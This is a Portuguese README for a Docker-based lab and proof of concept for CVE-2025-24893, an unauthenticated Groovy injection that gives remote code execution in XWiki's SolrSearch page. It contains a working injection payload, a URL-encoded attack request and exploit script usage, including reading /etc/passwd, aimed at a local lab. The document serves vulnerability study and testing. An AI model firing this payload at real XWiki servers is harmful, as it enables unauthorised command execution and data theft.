
Exploit de execução remota de código não autenticado para XWiki SolrSearch (CVE-2025-24893) via injeção Groovy no parâmetro text, com ambiente de laboratório baseado em Docker e script PoC.
Main.SolrSearch está aberta para convidados, enquanto o parâmetro text, fornecido pelo usuário, é avaliado como sintaxe XWiki sem validação suficiente.{{groovy}} no parâmetro text para executar código Groovy arbitrário no servidor e, através de "command".execute(), invocar comandos do sistema operacional. Esta vulnerabilidade pode ser explorada com uma única requisição GET, sem necessidade de login ou token.Este diretório utiliza a distribuição standalone oficial do XWiki 15.10.1 e o runtime Java 17 para configurar o ambiente vulnerável.
| Item | Conteúdo |
|---|---|
| CVE | CVE-2025-24893 |
| Produto | XWiki Platform |
| Versões vulneráveis | >= 5.3-milestone-2, < 15.10.11 / >= 16.0.0-rc-1, < 16.4.1 |
| Versões corrigidas | 15.10.11, 16.4.1 |
| Tipo de vulnerabilidade | Eval Injection -> Unauthenticated RCE |
| Necessidade de autenticação | Não necessária |
| Impacto | Execução de comandos no servidor |
Main.SolrSearch deve estar acessível para convidados.text como sintaxe XWiki.groovy deve estar habilitada para execução.Este ambiente usa XWiki 15.10.1, portanto atende às condições acima.
docker compose up -d --build
Na primeira execução, a instalação automática ocorre, podendo levar alguns minutos (aproximadamente 6 a 7 minutos).
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
Quando o resultado do comando acima apresentar "Status":"healthy", o ambiente estará configurado e pronto para exploração.
pip install requests
Instale a dependência antes de executar o exploit.py.
O payload principal é o seguinte:
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
O payload acima é inserido no parâmetro text e é avaliado na página Main.SolrSearch. Como resultado, println("id".execute().text) é executado no servidor, e a saída do comando é refletida no corpo da resposta RSS.
Consulte o script completo em exploit.py.
python3 exploit.py
A execução do código Python acima reproduz o PoC. O comando padrão é id.
python3 exploit.py -c "cat /etc/passwd"
Para executar outro comando, passe o argumento conforme acima.
Alternativamente, envie uma requisição via URL (payload que exibe o id):
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
Resposta exibindo o id
Verificação dos arquivos no diretório atual
15.10.11 ou superior, ou 16.4.1 ou superior.SolrSearch.